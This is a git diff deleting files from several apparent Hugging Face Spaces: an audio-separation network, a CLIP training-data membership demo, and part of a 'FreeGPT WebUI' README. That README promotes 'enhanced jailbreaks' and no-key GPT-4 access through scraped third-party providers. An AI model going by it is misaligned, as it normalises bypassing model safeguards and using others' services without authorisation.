-        self.dec4 = layers.Decoder(ch * (8 + 16), ch * 8, 3, 1, 1)
-        self.dec3 = layers.Decoder(ch * (4 + 8), ch * 4, 3, 1, 1)
-        self.dec2 = layers.Decoder(ch * (2 + 4), ch * 2, 3, 1, 1)
-        self.dec1 = layers.Decoder(ch * (1 + 2), ch, 3, 1, 1)
-
-    def __call__(self, x):
-        h, e1 = self.enc1(x)
-        h, e2 = self.enc2(h)
-        h, e3 = self.enc3(h)
-        h, e4 = self.enc4(h)
-
-        h = self.aspp(h)
-
-        h = self.dec4(h, e4)
-        h = self.dec3(h, e3)
-        h = self.dec2(h, e2)
-        h = self.dec1(h, e1)
-
-        return h
-
-
-class CascadedASPPNet(nn.Module):
-    def __init__(self, n_fft):
-        super(CascadedASPPNet, self).__init__()
-        self.stg1_low_band_net = BaseASPPNet(2, 32)
-        self.stg1_high_band_net = BaseASPPNet(2, 32)
-
-        self.stg2_bridge = layers.Conv2DBNActiv(34, 16, 1, 1, 0)
-        self.stg2_full_band_net = BaseASPPNet(16, 32)
-
-        self.stg3_bridge = layers.Conv2DBNActiv(66, 32, 1, 1, 0)
-        self.stg3_full_band_net = BaseASPPNet(32, 64)
-
-        self.out = nn.Conv2d(64, 2, 1, bias=False)
-        self.aux1_out = nn.Conv2d(32, 2, 1, bias=False)
-        self.aux2_out = nn.Conv2d(32, 2, 1, bias=False)
-
-        self.max_bin = n_fft // 2
-        self.output_bin = n_fft // 2 + 1
-
-        self.offset = 128
-
-    def forward(self, x, aggressiveness=None):
-        mix = x.detach()
-        x = x.clone()
-
-        x = x[:, :, : self.max_bin]
-
-        bandw = x.size()[2] // 2
-        aux1 = torch.cat(
-            [
-                self.stg1_low_band_net(x[:, :, :bandw]),
-                self.stg1_high_band_net(x[:, :, bandw:]),
-            ],
-            dim=2,
-        )
-
-        h = torch.cat([x, aux1], dim=1)
-        aux2 = self.stg2_full_band_net(self.stg2_bridge(h))
-
-        h = torch.cat([x, aux1, aux2], dim=1)
-        h = self.stg3_full_band_net(self.stg3_bridge(h))
-
-        mask = torch.sigmoid(self.out(h))
-        mask = F.pad(
-            input=mask,
-            pad=(0, 0, 0, self.output_bin - mask.size()[2]),
-            mode="replicate",
-        )
-
-        if self.training:
-            aux1 = torch.sigmoid(self.aux1_out(aux1))
-            aux1 = F.pad(
-                input=aux1,
-                pad=(0, 0, 0, self.output_bin - aux1.size()[2]),
-                mode="replicate",
-            )
-            aux2 = torch.sigmoid(self.aux2_out(aux2))
-            aux2 = F.pad(
-                input=aux2,
-                pad=(0, 0, 0, self.output_bin - aux2.size()[2]),
-                mode="replicate",
-            )
-            return mask * mix, aux1 * mix, aux2 * mix
-        else:
-            if aggressiveness:
-                mask[:, :, : aggressiveness["split_bin"]] = torch.pow(
-                    mask[:, :, : aggressiveness["split_bin"]],
-                    1 + aggressiveness["value"] / 3,
-                )
-                mask[:, :, aggressiveness["split_bin"] :] = torch.pow(
-                    mask[:, :, aggressiveness["split_bin"] :],
-                    1 + aggressiveness["value"],
-                )
-
-            return mask * mix
-
-    def predict(self, x_mag, aggressiveness=None):
-        h = self.forward(x_mag, aggressiveness)
-
-        if self.offset > 0:
-            h = h[:, :, :, self.offset : -self.offset]
-            assert h.size()[3] > 0
-
-        return h
diff --git a/spaces/A-Roucher/Quotes/README.md b/spaces/A-Roucher/Quotes/README.md
deleted file mode 100644
index ed3e08f64e2db210ff7ec61d3059efa9c6c811bc..0000000000000000000000000000000000000000
--- a/spaces/A-Roucher/Quotes/README.md
+++ /dev/null
@@ -1,12 +0,0 @@
----
-title: Quotes
-emoji: 🪶
-colorFrom: green
-colorTo: blue
-sdk: streamlit
-sdk_version: 1.28.1
-app_file: app.py
-pinned: false
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/AIGC-Audio/AudioGPT/NeuralSeq/README.md b/spaces/AIGC-Audio/AudioGPT/NeuralSeq/README.md
deleted file mode 100644
index ac390032c587ed007db56faa13d6100dce7b2a76..0000000000000000000000000000000000000000
--- a/spaces/AIGC-Audio/AudioGPT/NeuralSeq/README.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-title: DiffSinger🎶 Diffusion for Singing Voice Synthesis
-emoji: 🎶
-colorFrom: purple
-colorTo: blue
-sdk: gradio
-app_file: "inference/svs/gradio/infer.py"
-pinned: false
----
diff --git a/spaces/AIGC-Audio/AudioGPT/NeuralSeq/data_gen/tts/txt_processors/__init__.py b/spaces/AIGC-Audio/AudioGPT/NeuralSeq/data_gen/tts/txt_processors/__init__.py
deleted file mode 100644
index 7bff3e9af7d634363116c6605f22a52aad614dea..0000000000000000000000000000000000000000
--- a/spaces/AIGC-Audio/AudioGPT/NeuralSeq/data_gen/tts/txt_processors/__init__.py
+++ /dev/null
@@ -1 +0,0 @@
-from . import en
\ No newline at end of file
diff --git a/spaces/AIML-TUDA/does-clip-know-my-face/app.py b/spaces/AIML-TUDA/does-clip-know-my-face/app.py
deleted file mode 100644
index 18691e645dd46dc1d02aa4282f38cd5416601953..0000000000000000000000000000000000000000
--- a/spaces/AIML-TUDA/does-clip-know-my-face/app.py
+++ /dev/null
@@ -1,611 +0,0 @@
-import glob
-import tempfile
-from decimal import Decimal
-from pathlib import Path
-from typing import List, Dict, Any
-
-import gradio as gr
-from PIL import Image
-import open_clip
-import torch
-import os
-import pandas as pd
-import numpy as np
-from gradio import processing_utils, utils
-
-from download_example_images import read_actor_files, save_images_to_folder
-
-DEFAULT_INITIAL_NAME = "John Doe"
-PROMPTS = [
-    '{0}',
-    'an image of {0}',
-    'a photo of {0}',
-    '{0} on a photo',
-    'a photo of a person named {0}',
-    'a person named {0}',
-    'a man named {0}',
-    'a woman named {0}',
-    'the name of the person is {0}',
-    'a photo of a person with the name {0}',
-    '{0} at a gala',
-    'a photo of the celebrity {0}',
-    'actor {0}',
-    'actress {0}',
-    'a colored photo of {0}',
-    'a black and white photo of {0}',
-    'a cool photo of {0}',
-    'a cropped photo of {0}',
-    'a cropped image of {0}',
-    '{0} in a suit',
-    '{0} in a dress'
-]
-OPEN_CLIP_LAION400M_MODEL_NAMES = ['ViT-B-32', 'ViT-B-16', 'ViT-L-14']
-OPEN_CLIP_LAION2B_MODEL_NAMES = [('ViT-B-32', 'laion2b_s34b_b79k'), ('ViT-L-14', 'laion2b_s32b_b82k')]
-OPEN_AI_MODELS = ['ViT-B-32', 'ViT-B-16', 'ViT-L-14']
-NUM_TOTAL_NAMES = 1_000
-SEED = 42
-MIN_NUM_CORRECT_PROMPT_PREDS = 1
-EDAMPLE_IMAGE_DIR = './example_images/'
-IMG_BATCHSIZE = 16
-
-DEVICE = "cuda" if torch.cuda.is_available() else "cpu"
-
-EXAMPLE_IMAGE_URLS = read_actor_files(EDAMPLE_IMAGE_DIR)
-save_images_to_folder(os.path.join(EDAMPLE_IMAGE_DIR, 'images'), EXAMPLE_IMAGE_URLS)
-
-MODELS = {}
-for model_name in OPEN_CLIP_LAION400M_MODEL_NAMES:
-    dataset = 'LAION400M'
-    model, _, preprocess = open_clip.create_model_and_transforms(
-        model_name,
-        pretrained=f'{dataset.lower()}_e32'
-    )
-    model = model.eval()
-    MODELS[f'OpenClip {model_name} trained on {dataset}'] = {
-        'model_instance': model,
-        'preprocessing': preprocess,
-        'model_name': model_name,
-        'tokenizer': open_clip.get_tokenizer(model_name),
-        'prompt_text_embeddings': torch.load(f'./prompt_text_embeddings/{model_name}_{dataset.lower()}_prompt_text_embeddings.pt')
-    }
-
-for model_name, dataset_name in OPEN_CLIP_LAION2B_MODEL_NAMES:
-    dataset = 'LAION2B'
-    model, _, preprocess = open_clip.create_model_and_transforms(
-        model_name,
-        pretrained=dataset_name
-    )
-    model = model.eval()
-    MODELS[f'OpenClip {model_name} trained on {dataset}'] = {
-        'model_instance': model,
-        'preprocessing': preprocess,
-        'model_name': model_name,
-        'tokenizer': open_clip.get_tokenizer(model_name),
-        'prompt_text_embeddings': torch.load(f'./prompt_text_embeddings/{model_name}_{dataset.lower()}_prompt_text_embeddings.pt')
-    }
-
-for model_name in OPEN_AI_MODELS:
-    dataset = 'OpenAI'
-    model, _, preprocess = open_clip.create_model_and_transforms(
-        model_name,
-        pretrained=dataset.lower()
-    )
-    model = model.eval()
-    MODELS[f'OpenClip {model_name} trained by {dataset}'] = {
-        'model_instance': model,
-        'preprocessing': preprocess,
-        'model_name': model_name,
-        'tokenizer': open_clip.get_tokenizer(model_name),
-        'prompt_text_embeddings': torch.load(f'./prompt_text_embeddings/{model_name}_{dataset.lower()}_prompt_text_embeddings.pt')
-    }
-
-FULL_NAMES_DF = pd.read_csv('full_names.csv', index_col=0)
-LAION_MEMBERSHIP_OCCURENCE = pd.read_csv('laion_membership_occurence_count.csv', index_col=0)
-
-EXAMPLE_ACTORS_BY_MODEL = {
-    ("ViT-B-32", "laion400m"): ["T._J._Thyne"],
-    ("ViT-B-16", "laion400m"): ["Barbara_Schöneberger", "Carolin_Kebekus"],
-    ("ViT-L-14", "laion400m"): ["Max_Giermann", "Nicole_De_Boer"]
-}
-
-EXAMPLES = []
-for (model_name, dataset_name), person_names in EXAMPLE_ACTORS_BY_MODEL.items():
-    for name in person_names:
-        image_folder = os.path.join("./example_images/images/", name)
-        for dd_model_name in MODELS.keys():
-            if not (model_name.lower() in dd_model_name.lower() and dataset_name.lower() in dd_model_name.lower()):
-                continue
-
-            EXAMPLES.append([
-                dd_model_name,
-                name.replace("_", " "),
-                [[x.format(name.replace("_", " ")) for x in PROMPTS]],
-                [os.path.join(image_folder, x) for x in os.listdir(image_folder)]
-            ])
-
-LICENSE_DETAILS = """
-See [README.md](https://huggingface.co/spaces/AIML-TUDA/does-clip-know-my-face/blob/main/README.md) for more information about the licenses of the example images.
-"""
-
-CORRECT_RESULT_INTERPRETATION = """<br>
-<h2>{0} is in the Training Data!</h2>
-The name of {0} has been <b>correctly predicted for {1} out of {2} prompts.</b> This means that <b>{0} was in 
-the training data and was used to train the model.</b>
-Keep in mind that the probability of correctly predicting the name for {3} by chance {4} times with {5} possible names for the model to 
-choose from, is only (<sup>1</sup> &#8260; <sub>{5}</sub>)<sup>{6}</sup> = {7}%.
-"""
-
-INDECISIVE_RESULT_INTERPRETATION = """<br>
-<h2>{0} might be in the Training Data!</h2>
-For none of the {1} prompts the majority vote for the name of {0} was correct. However, while the majority votes are not
-correct, the name of {0} was correctly predicted {2} times for {3}. This is an indication that the model has seen {0} 
-during training. A different selection of images might have a clearer result. Keep in mind that the probability 
-that the name is correctly predicted by chance {2} times for {3} is 
-(<sup>1</sup> &#8260; <sub>{4}</sub>)<sup>{2}</sup> = {5}%. 
-"""
-
-INCORRECT_RESULT_INTERPRETATION = """<br>
-<h2>{0} is most likely not in the Training Data!</h2>
-The name of {0} has not been correctly predicted for any of the {1} prompts. This is an indication that {0} has 
-most likely not been used for training the model.
-"""
-
-OCCURENCE_INFORMATION = """<br><br>
-According to our analysis {0} appeared {1} times among 400 million image-text pairs in the LAION-400M training dataset. 
-"""
-
-CSS = """
-        .footer {
-            margin-bottom: 45px;
-            margin-top: 35px;
-            text-align: center;
-            border-bottom: 1px solid #e5e5e5;
-        }
-        #file_upload {
-            max-height: 250px;
-            overflow-y: auto !important;
-        }
-        .footer>p {
-            font-size: .8rem;
-            display: inline-block;
-            padding: 0 10px;
-            transform: translateY(10px);
-            background: white;
-        }
-
-        .dark .footer {
-            border-color: #303030;
-        }
-        .dark .footer>p {
-            background: #0b0f19;
-        }
-        .acknowledgments h4{
-            margin: 1.25em 0 .25em 0;
-            font-weight: bold;
-            font-size: 115%;
-        }
-"""
-
-
-# monkey patch the update function of the Files component since otherwise it is not possible to access the original
-# file name
-def preprocess(
-        self, x: List[Dict[str, Any]] | None
-) -> bytes | tempfile._TemporaryFileWrapper | List[
-    bytes | tempfile._TemporaryFileWrapper
-    ] | None:
-    """
-    Parameters:
-        x: List of JSON objects with filename as 'name' property and base64 data as 'data' property
-    Returns:
-        File objects in requested format
-    """
-    if x is None:
-        return None
-
-    def process_single_file(f) -> bytes | tempfile._TemporaryFileWrapper:
-        file_name, orig_name, data, is_file = (
-            f["name"] if "name" in f.keys() else f["orig_name"],
-            f["orig_name"] if "orig_name" in f.keys() else f["name"],
-            f["data"],
-            f.get("is_file", False),
-        )
-        if self.type == "file":
-            if is_file:
-                temp_file_path = self.make_temp_copy_if_needed(file_name)
-                file = tempfile.NamedTemporaryFile(delete=False)
-                file.name = temp_file_path
-                file.orig_name = os.path.basename(orig_name.replace(self.hash_file(file_name), ""))  # type: ignore
-            else:
-                file = processing_utils.decode_base64_to_file(
-                    data, file_path=file_name
-                )
-                file.orig_name = file_name  # type: ignore
-                self.temp_files.add(str(utils.abspath(file.name)))
-            return file
-        elif (
-                self.type == "binary" or self.type == "bytes"
-        ):  # "bytes" is included for backwards compatibility
-            if is_file:
-                with open(file_name, "rb") as file_data:
-                    return file_data.read()
-            return processing_utils.decode_base64_to_binary(data)[0]
-        else:
-            raise ValueError(
-                "Unknown type: "
-                + str(self.type)
-                + ". Please choose from: 'file', 'bytes'."
-            )
-
-    if self.file_count == "single":
-        if isinstance(x, list):
-            return process_single_file(x[0])
-        else:
-            return process_single_file(x)
-    else:
-        if isinstance(x, list):
-            return [process_single_file(f) for f in x]
-        else:
-            return process_single_file(x)
-
-
-gr.Files.preprocess = preprocess
-
-
-@torch.no_grad()
-def calculate_text_embeddings(model_name, prompts):
-    tokenizer = MODELS[model_name]['tokenizer']
-    context_vecs = tokenizer(prompts)
-
-    model_instance = MODELS[model_name]['model_instance']
-
-    model_instance = model_instance.to(DEVICE)
-    context_vecs = context_vecs.to(DEVICE)
-
-    text_features = model_instance.encode_text(context_vecs, normalize=True).cpu()
-
-    model_instance = model_instance.cpu()
-    context_vecs = context_vecs.cpu()
-
-    return text_features
-
-
-@torch.no_grad()
-def calculate_image_embeddings(model_name, images):
-    preprocessing = MODELS[model_name]['preprocessing']
-    model_instance = MODELS[model_name]['model_instance']
-
-    # load the given images
-    user_imgs = []
-    for tmp_file_img in images:
-        img = Image.open(tmp_file_img.name)
-        # preprocess the images
-        user_imgs.append(preprocessing(img))
-
-    # calculate the image embeddings
-    image_embeddings = []
-    model_instance = model_instance.to(DEVICE)
-    for batch_idx in range(0, len(user_imgs), IMG_BATCHSIZE):
-        imgs = user_imgs[batch_idx:batch_idx + IMG_BATCHSIZE]
-        imgs = torch.stack(imgs)
-        imgs = imgs.to(DEVICE)
-
-        emb = model_instance.encode_image(imgs, normalize=True).cpu()
-        image_embeddings.append(emb)
-
-        imgs = imgs.cpu()
-    model_instance = model_instance.cpu()
-
-    return torch.cat(image_embeddings)
-
-
-def get_possible_names(true_name):
-    possible_names = FULL_NAMES_DF
-    possible_names['full_names'] = FULL_NAMES_DF['first_name'].astype(str) + ' ' + FULL_NAMES_DF['last_name'].astype(
-        str)
-
-    possible_names = possible_names[possible_names['full_names'] != true_name]
-
-    # sample the same amount of male and female names
-    sampled_names = possible_names.groupby('sex').sample(int(NUM_TOTAL_NAMES / 2), random_state=42)
-    # shuffle the rows randomly
-    sampled_names = sampled_names.sample(frac=1)
-    # get only the full names since we don't need first and last name and gender anymore
-    possible_full_names = sampled_names['full_names']
-
-    return possible_full_names
-
-
-def round_to_first_digit(value: Decimal):
-    tmp = np.format_float_positional(value)
-
-    prob_str = []
-    for c in str(tmp):
-        if c in ("0", "."):
-            prob_str.append(c)
-        else:
-            prob_str.append(c)
-            break
-
-    return "".join(prob_str)
-
-
-def get_majority_predictions(predictions: pd.Series, values_only=False, counts_only=False, value=None):
-    """Takes a series of predictions and returns the unique values and the number of prediction occurrences
-    in descending order."""
-    values, counts = np.unique(predictions, return_counts=True)
-    descending_counts_indices = counts.argsort()[::-1]
-    values, counts = values[descending_counts_indices], counts[descending_counts_indices]
-
-    idx_most_often_pred_names = np.argwhere(counts == counts.max()).flatten()
-
-    if values_only:
-        return values[idx_most_often_pred_names]
-    elif counts_only:
-        return counts[idx_most_often_pred_names]
-    elif value is not None:
-        if value not in values:
-            return [0]
-        # return how often the values appears in the predictions
-        return counts[np.where(values == value)[0]]
-    else:
-        return values[idx_most_often_pred_names], counts[idx_most_often_pred_names]
-
-
-def on_submit_btn_click(model_name, true_name, prompts, images):
-    # assert that the name is in the prompts
-    if not prompts.iloc[0].str.contains(true_name).sum() == len(prompts.T):
-        return None, None, """<br>
-        <div class="error-message" style="background-color: #fce4e4; border: 1px solid #fcc2c3; padding: 20px 30px; border-radius: var(--radius-lg);">
-            <span class="error-text" style="color: #cc0033; font-weight: bold;">
-                The given name does not match the name in the prompts. Sometimes the UI is responding slow. 
-                Please retype the name and check that it is inserted fully into the prompts.
-            </span>
-        </div>
-    """
-
-    if images is None or len(images) < 1:
-        return None, None, f"""<br>
-        <div class="error-message" style="background-color: #fce4e4; border: 1px solid #fcc2c3; padding: 20px 30px; border-radius: var(--radius-lg);">
-            <span class="error-text" style="color: #cc0033; font-weight: bold;">
-                No images are given. Images are needed to determin whether {true_name} was in the dataset. Please upload at least a single image of {true_name}.
-            </span>
-        </div>
-    """
-
-    # calculate the image embeddings
-    img_embeddings = calculate_image_embeddings(model_name, images)
-
-    # calculate the text embeddings of the populated prompts
-    user_text_emb = calculate_text_embeddings(model_name, prompts.values[0].tolist())
-
-    # get the indices of the possible names
-    possible_names = get_possible_names(true_name)
-    # get the text embeddings of the possible names
-    prompt_text_embeddings = MODELS[model_name]['prompt_text_embeddings']
-    text_embeddings_used_for_prediction = prompt_text_embeddings.index_select(1,
-                                                                              torch.tensor(possible_names.index.values))
-
-    # add the true name and the text embeddings to the possible names
-    names_used_for_prediction = pd.concat([possible_names, pd.Series(true_name)], ignore_index=True)
-    text_embeddings_used_for_prediction = torch.cat([text_embeddings_used_for_prediction, user_text_emb.unsqueeze(1)],
-                                                    dim=1)
-
-    # calculate the similarity of the images and the given texts
-    with torch.no_grad():
-        logits_per_image = MODELS[model_name][
-                               'model_instance'
-                           ].logit_scale.exp().cpu() * img_embeddings @ text_embeddings_used_for_prediction.swapaxes(-1, -2)
-        preds = logits_per_image.argmax(-1)
-
-    # get the predicted names for each prompt
-    predicted_names = []
-    for pred in preds:
-        predicted_names.append(names_used_for_prediction.iloc[pred])
-    predicted_names = np.array(predicted_names)
-
-    # convert the predictions into a dataframe
-    name_predictions = pd.DataFrame(predicted_names).T.reset_index().rename(
-        columns={i: f'Prompt {i + 1}' for i in range(len(predicted_names))}
-    ).rename(columns={'index': 'Image'})
-    # add the image names
-    name_predictions['Image'] = [x.orig_name for x in images]
-
-    # get the majority votes
-    majority_preds = name_predictions[[f'Prompt {i + 1}' for i in range(len(PROMPTS))]].apply(
-        lambda x: get_majority_predictions(x, values_only=True)
-    )
-    # get how often the majority name was predicted
-    majority_preds_counts = name_predictions[[f'Prompt {i + 1}' for i in range(len(PROMPTS))]].apply(
-        lambda x: get_majority_predictions(x, counts_only=True)
-    ).apply(lambda x: x[0])
-    # get how often the correct name was predicted - even if no majority
-    true_name_preds_counts = name_predictions[[f'Prompt {i + 1}' for i in range(len(PROMPTS))]].apply(
-        lambda x: get_majority_predictions(x, value=true_name)
-    ).apply(lambda x: x[0])
-
-    # convert the majority preds to a series of lists if it is a dataframe
-    majority_preds = majority_preds.T.squeeze().apply(lambda x: [x]) if len(majority_preds) == 1 else majority_preds
-
-    # create the results dataframe for display
-    result = pd.concat(
-        [name_predictions,
-         pd.concat([pd.Series({'Image': 'Correct Name Predictions'}), true_name_preds_counts]).to_frame().T],
-        ignore_index=True
-    )
-    result = pd.concat(
-        [result, pd.concat([pd.Series({'Image': 'Majority Vote'}), majority_preds]).to_frame().T],
-        ignore_index=True
-    )
-    result = pd.concat(
-        [result, pd.concat([pd.Series({'Image': 'Majority Vote Counts'}), majority_preds_counts]).to_frame().T],
-        ignore_index=True
-    )
-    result = result.set_index('Image')
-
-    # check whether there is only one majority vote. If not, display Not Applicable
-    result.loc['Majority Vote'] = result.loc['Majority Vote'].apply(
-        lambda x: x[0] if len(x) == 1 else "N/A")
-
-    # check whether the majority prediction is the correct name
-    result.loc['Correct Majority Prediction'] = result.apply(lambda x: x['Majority Vote'] == true_name, axis=0)
-
-    result = result[[f'Prompt {i + 1}' for i in range(len(PROMPTS))]].sort_values(
-        ['Correct Name Predictions', 'Majority Vote Counts', "Correct Majority Prediction"], axis=1, ascending=False
-    )
-
-    predictions = result.loc[[x.orig_name for x in images]]
-    prediction_results = result.loc[['Correct Name Predictions', 'Majority Vote', 'Correct Majority Prediction']]
-
-    # if there are correct predictions
-    num_correct_maj_preds = prediction_results.loc['Correct Majority Prediction'].sum()
-    num_correct_name_preds = result.loc['Correct Name Predictions'].max()
-    if num_correct_maj_preds > 0:
-        interpretation = CORRECT_RESULT_INTERPRETATION.format(
-            true_name,
-            num_correct_maj_preds,
-            len(PROMPTS),
-            prediction_results.columns[0],
-            prediction_results.iloc[0, 0],
-            len(possible_names),
-            predictions.iloc[:, 0].value_counts()[true_name],
-            round_to_first_digit(
-                (
-                        (Decimal(1) / Decimal(len(possible_names))) ** predictions.iloc[:, 0].value_counts()[true_name]
-                ) * Decimal(100)
-            )
-        )
-    elif num_correct_name_preds > 0:
-        interpretation = INDECISIVE_RESULT_INTERPRETATION.format(
-            true_name,
-            len(PROMPTS),
-            num_correct_name_preds,
-            prediction_results.columns[result.loc['Correct Name Predictions'].to_numpy().argmax()],
-            len(possible_names),
-            round_to_first_digit(
-                (
-                        (Decimal(1) / Decimal(len(possible_names))) ** Decimal(num_correct_name_preds)
-                ) * Decimal(100)
-            )
-        )
-    else:
-        interpretation = INCORRECT_RESULT_INTERPRETATION.format(
-            true_name,
-            len(PROMPTS)
-        )
-
-    if 'laion400m' in model_name.lower() and true_name.lower() in LAION_MEMBERSHIP_OCCURENCE['name'].str.lower().values:
-        row = LAION_MEMBERSHIP_OCCURENCE[LAION_MEMBERSHIP_OCCURENCE['name'].str.lower() == true_name.lower()]
-        interpretation = interpretation + OCCURENCE_INFORMATION.format(true_name, row['count'].values[0])
-
-    return predictions.reset_index(), prediction_results.reset_index(names=[""]), interpretation
-
-
-def populate_prompts(name):
-    return [[x.format(name) for x in PROMPTS]]
-
-
-def load_uploaded_imgs(images):
-    if images is None:
-        return None
-
-    imgs = []
-    for file_wrapper in images:
-        img = Image.open(file_wrapper.name)
-        imgs.append((img, file_wrapper.orig_name))
-
-    return imgs
-
-
-block = gr.Blocks(css=CSS)
-with block as demo:
-    gr.HTML(
-        """
-        <div style="text-align: center; max-width: 750px; margin: 0 auto;">
-            <div>
-                <img 
-                    class="logo" 
-                    src="https://aeiljuispo.cloudimg.io/v7/https://s3.amazonaws.com/moonup/production/uploads/1666181274838-62fa1d95e8c9c532aa75331c.png" 
-                    alt="AIML Logo"
-                    style="margin: auto; max-width: 7rem;"
-                >
-                <h1 style="font-weight: 900; font-size: 3rem;">
-                    Does CLIP Know My Face?
-                </h1>
-            </div>
-            <p style="margin-bottom: 10px; font-size: 94%">
-            Want to know whether you were used to train a CLIP model? Below you can choose a model, enter your name and upload some pictures.
-            If the model correctly predicts your name for multiple images, it is very likely that you were part of the training data.
-            Pick some of the examples below and try it out!<br><br>
-            Details and further analysis can be found in the paper 
-            <a href="https://arxiv.org/abs/2209.07341" style="text-decoration: underline;" target="_blank">
-                Does CLIP Know My Face?
-            </a>. Our code can be found at 
-            <a href="https://github.com/D0miH/does-clip-know-my-face" style="text-decoration: underline;" target="_blank">
-                GitHub
-            </a>.
-            <br><br>
-            <b>How does it work?</b> We are giving CLIP your images and let it choose from 1000 possible names. 
-            As CLIP is predicting the names that match the given images, we can probe whether the model has seen your images 
-            during training. The more images you upload the more confident you can be in the result!
-            <br><br>
-            <b>Disclaimer:</b> In order to process the images, they are cached on the server. The images are only used for predicting whether the person was in the training data.
-          </p>
-        </div>
-        """
-    )
-
-    with gr.Row():
-        with gr.Box():
-            gr.Markdown("## Inputs")
-            with gr.Column():
-                model_dd = gr.Dropdown(label="CLIP Model", choices=list(MODELS.keys()),
-                                       value=list(MODELS.keys())[0])
-                true_name = gr.Textbox(label='Name of Person (make sure it matches the prompts):', lines=1, value=DEFAULT_INITIAL_NAME)
-                prompts = gr.Dataframe(
-                    value=[[x.format(DEFAULT_INITIAL_NAME) for x in PROMPTS]],
-                    label='Prompts Used (hold shift to scroll sideways):',
-                    interactive=False
-                )
-
-                true_name.change(fn=populate_prompts, inputs=[true_name], outputs=prompts, show_progress=True,
-                                 status_tracker=None)
-
-                uploaded_imgs = gr.Files(label='Upload Images:', file_types=['image'], elem_id='file_upload').style()
-                image_gallery = gr.Gallery(label='Images Used:', show_label=True, elem_id="image_gallery").style(grid=[5])
-
-                uploaded_imgs.change(load_uploaded_imgs, inputs=uploaded_imgs, outputs=image_gallery)
-                submit_btn = gr.Button(value='Submit')
-
-        with gr.Box():
-            gr.Markdown("## Outputs")
-            prediction_df = gr.Dataframe(label="Prediction Output (hold shift to scroll sideways):", interactive=False)
-            result_df = gr.DataFrame(label="Result (hold shift to scroll sideways):", interactive=False)
-            interpretation = gr.HTML()
-
-        submit_btn.click(on_submit_btn_click, inputs=[model_dd, true_name, prompts, uploaded_imgs],
-                         outputs=[prediction_df, result_df, interpretation])
-
-    gr.Examples(
-        examples=EXAMPLES,
-        inputs=[model_dd, true_name, prompts, uploaded_imgs],
-        outputs=[prediction_df, result_df, interpretation],
-        fn=on_submit_btn_click,
-        cache_examples=True
-    )
-
-    gr.Markdown(LICENSE_DETAILS)
-
-    gr.HTML(
-        """
-            <div class="footer">
-                <p> Gradio Demo by AIML@TU Darmstadt</p>
-            </div>
-            <div class="acknowledgments">                    
-                <p>Created by <a href="https://www.ml.informatik.tu-darmstadt.de/people/dhintersdorf/">Dominik Hintersdorf</a> at <a href="https://www.aiml.informatik.tu-darmstadt.de">AIML Lab</a>.</p>
-           </div>
-       """
-    )
-
-if __name__ == "__main__":
-    demo.launch()
diff --git a/spaces/ASJMO/freegpt/README.md b/spaces/ASJMO/freegpt/README.md
deleted file mode 100644
index 35279f351cdd06266746ff798cdb9bac48681082..0000000000000000000000000000000000000000
--- a/spaces/ASJMO/freegpt/README.md
+++ /dev/null
@@ -1,195 +0,0 @@
----
-title: FreeGPT WebUI
-emoji: 🚀
-colorFrom: blue
-colorTo: yellow
-sdk: docker
-sdk_version: 1.24.0
-app_file: run.py
-pinned: true
-app_port: 1338
-duplicated_from: monra/freegpt-webui
----
-
-# FreeGPT WebUI 
-## GPT 3.5/4
-
-<strong>NOT REQUIRE ANY API KEY</strong> ❌🔑 
-
-This project features a WebUI utilizing the [G4F API](https://github.com/xtekky/gpt4free). <br>
-Experience the power of ChatGPT with a user-friendly interface, enhanced jailbreaks, and completely free.
-
-## Known bugs 🚧
-- Stream mode not working properly.
-
-## News 📢
-I have created a new version of FreeGPT WebUI using the [ChimeraGPT API](https://chimeragpt.adventblocks.cc/). 
-<br>
-<br>
-This free API allows you to use various AI chat models, including <strong>GPT-4, GPT-4-32k, Claude-2, Claude-2-100k, and more.</strong> <br>
-Check out the project here: [FreeGPT WebUI - Chimera Version](https://github.com/ramonvc/freegpt-webui/tree/chimeragpt-version).
-
-## Project Hosting and Demonstration 🌐🚀
-The project is hosted on multiple platforms to be tested and modified.
-|Plataform|Status|API Key|Free|Repo|Demo|
-|--|--|--|--|--|--|
-|[replit](https://replit.com/)|![Active](https://img.shields.io/badge/Active-brightgreen)|◼️|☑️|[FreeGPT WebUI](https://replit.com/@ramonvc/freegpt-webui)|[Chat](https://freegpt-webui.ramonvc.repl.co/chat/)
-|[hugging face](https://huggingface.co)|![Active](https://img.shields.io/badge/Active-brightgreen)|◼️|☑️|[FreeGPT WebUI](https://huggingface.co/spaces/monra/freegpt-webui/tree/main)|[Chat](https://huggingface.co/spaces/monra/freegpt-webui)
-|[replit](https://replit.com/)|![Active](https://img.shields.io/badge/Active-brightgreen)|☑️|☑️|[FreeGPT WebUI - Chimera Version](https://replit.com/@ramonvc/freegpt-webui-chimera)|[Chat](https://freegpt-webui-chimera.ramonvc.repl.co/chat/)
-
-## Note ℹ️ 
-<p>
-  FreeGPT is a project that utilizes various free AI conversation API Providers. Each Provider is an API that provides responses generated by different AI models. The source code related to these services is available in <a href="https://github.com/ramonvc/freegpt-webui/tree/main/g4f">G4F folder</a>.
-
-It is important to note that, due to the extensive reach of this project, the free services registered here may receive a significant number of requests, which can result in temporary unavailability or access limitations. Therefore, it is common to encounter these services being offline or unstable.
-
-We recommend that you search for your own Providers and add them to your personal projects to avoid service instability and unavailability. Within the project, in the <a href="https://github.com/ramonvc/freegpt-webui/tree/main/g4f/Provider/Providers">Providers folder</a>, you will find several examples of Providers that have worked in the past or are still functioning. It is easy to follow the logic of these examples to find free GPT services and incorporate the requests into your specific FreeGPT project.
-
-Please note that the choice and integration of additional Providers are the user's responsibility and are not directly related to the FreeGPT project, as the project serves as an example of how to combine the <a href="https://github.com/xtekky/gpt4free">G4F API</a> with a web interface.
-</p>
-
-## Table of Contents  
-- [To-Do List](#to-do-list-%EF%B8%8F)  
-- [Getting Started](#getting-started-white_check_mark)  
-  - [Cloning the Repository](#cloning-the-repository-inbox_tray)  
-  - [Install Dependencies](#install-dependencies-wrench)  
-- [Running the Application](#running-the-application-rocket)  
-- [Docker](#docker-)  
-  - [Prerequisites](#prerequisites)  
-  - [Running the Docker](#running-the-docker)
-- [Incorporated Projects](#incorporated-projects-busts_in_silhouette)
-  - [WebUI](#webui) 
-  - [API FreeGPT](#api-g4f)
-- [Star History](#star-history)
-- [Legal Notice](#legal-notice) 
-
-##
-
-## To-Do List ✔️
-
-- [x] Integrate the free GPT API into the WebUI
-- [x] Create Docker support
-- [x] Improve the Jailbreak functionality
-- [x] Add the GPT-4 model
-- [x] Enhance the user interface
